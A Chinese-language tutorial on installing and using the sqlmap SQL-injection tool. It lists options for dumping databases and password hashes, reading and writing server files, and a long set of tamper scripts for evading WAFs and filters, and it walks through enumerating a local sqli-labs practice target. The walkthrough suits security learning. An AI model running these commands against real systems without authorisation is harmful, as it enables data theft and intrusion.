免责声明
本文所提供的文字和信息仅供学习和研究使用,请读者自觉遵守法律法规,不得利用本文所提供的信息从事任何违法活动。本文不对读者的任何违法行为承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。
注意:SQLMAP 这样的工具在合法的安全测试和研究环境之外的使用可能是非法的和不道德的。在实际应用中,应该在授权和合法的情况下使用它来帮助发现和修复系统中的安全漏洞,以提高系统的安全性。
1. SQLMAP下载安装
1.1. 介绍
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令,以及从数据库指纹识别、从数据库获取数据、 通过带外连接在操作系统上执行命令。
1.2. 支持的数据库
SQLMAP 支持检测 MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等
1.3. 支持的注入方式
分别是:布尔盲注、时间盲注、报错注入、联合查询、堆叠注入
1.4. 下载安装
SQLMap的安装依赖于Python环境,所以需要事先安装好Python,若没有安装请看在Windows下载、安装Python和配置环境(新手、保姆级教程)-CSDN博客
SQLMAP的官方网站:https://sqlmap.org/
Windos系统下载 zip格式,Linux系统下载 .tar.gz格式。
提前在D盘新建一个文件夹,重命名最好为英文,下载解压缩之后进入sqlmap的文件夹,在此文件夹中打开控制台( 可以在上方地址栏输入cmd回车快速打开 )
输入命令
python sqlmap.py
或
python sqlmap.py -h
检验是否成功,出现如图所示界面就代表成功了。
注意:如果报错就检查一下环境变量是否配置成功;如果是没反应到python文件夹查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,则命令就是
python3 sqlmap.py
2. SQMAP的命令参数
2.1. sqlmap基本参数
这些是sqlmap的基本参数
-d 指定直接数据库连接得连接字符串,直接连接到数据库。
-u 指定URL目标
-I 从Burp或WebScarab代理得日志中解析目标
-m 扫描文本文件中给出得多个目标,批量扫描
-r 从文本中加载HTTP请求。 用 * 标记注入位置
-g 将Google Dork得结果作为目标URLh
这些参数可用于调整具体的 SQL 注入测试
-a 获取所有信息
-current-user 获取DBMS当前用户
--current-db 获取DBMS当前数据库
--hostname 获取DBMS当前主机名
--is-dba 检测当前用户是否为管理员用户
--users 查询DBMS用户
--passwords 查询DBMS用户密码hash
--dbs 查询DBMS数据库
--tables 查询DBMS数据库中得表
--columns 查询DBMS数据库表得列名
--dump 查询转储DBMS数据库表
--dump-all 转储DBMS所有数据库表
-D db_name 指定要求枚举的DBMS数据库名
-T table_name 指定要枚举得DBMS表
-C column_name 指定要枚举得DBMS列
--batch 从不询问用户输入,使用所有默认配置
2.2. sqlmap进阶参数
--data=DATA 通过POST方式发送数据字符串
--cookie=COOKIE HTTP Cookie头 LMXCMS演示
--user-agent=AGENT 指定HTTP User-Agent头
--random-agent 使用随机选定得HTTP User-Agent头
--host=HOST 指定HTTP HOST header
--referer=REFERER 指定HTTP Referer header
--ignore-proxy 忽略系统默认代理配置
--proxy=PROXY 使用代理连接目标URL --proxy=" http://127.0.0.1:8080"
--delay=DELAY 可以设定两个请求间得延迟
--timeout=TIMEOUT 可以设定一个请求超过多久判定为超时
--force-ssl 强制使用SSL/HTTPS
--threads=THREADS HTTP(s)最大并发请求数(默认是1)
--dbms=DBMS 强制指定后端DBMS
--os=OS 强制指定后端得DBMS操作系统
--tamper 使用给定得脚本修改注入数据
这些参数可用于自定义阶段检测探测选择
--level=LEVEL 测试等级(1-5, default 1)
--risk=RISK 测试的风险等级(1-3, default 1)
--technique 来指定要使用哪种注入模式,快速扫描
2.4 访问文件系统
--file-read=文件路径 从后端的数据库管理系、统文件系统读取文件
--file-write=文件路径 编辑后端的数据库管理系统、文件系统上的本地文件
--file-dest=文件路径 后端的数据库管理系统、写入文件的绝对路径
使用条件
- 知道网站的绝对路径
- 高权限数据库用户
- secure_file_priv=''无限制
2.5 tamper绕过
--tamper=base64encode.py
--tamper=test.py
space2comment.py 用/**/代替空格
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py 空格替换为#号,随机字符串以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似'IFNULL(A,B)'为'IF(ISNULL(A), B, A)'
space2mssqlblank.py (mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py 双重查询语句,取代SQL关键字
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPCaddslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py 关键字前加注释
3. SQLMAP的基本使用
我们以本地搭建的sql-labs靶场网址作为注入点测试
目标注入点是:
http://127.0.0.1/sqli-labs-master/Less-1/
3.1. 判断是否存在注入
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"
出现这个就表示存在漏洞,分别存在布尔注入、报错注入、时间注入、union联合注入
3.2. 判断当前用户是否为dba
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba
3.3. 查看数据库用户
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user
3.4. 查看所有数据库
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
3.5. 查看当前数据库名称
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db
3.6. 查询当前数据库的表
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 --tables
3.7. 查询表中的字段名
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --columns
3.8. 查询字段下的数据
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --dump
本人发布、转载的文章中所涉及的命令、技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!!!!!
版权归原作者 燕雀安知鸿鹄之志哉. 所有, 如有侵权,请联系我们删除。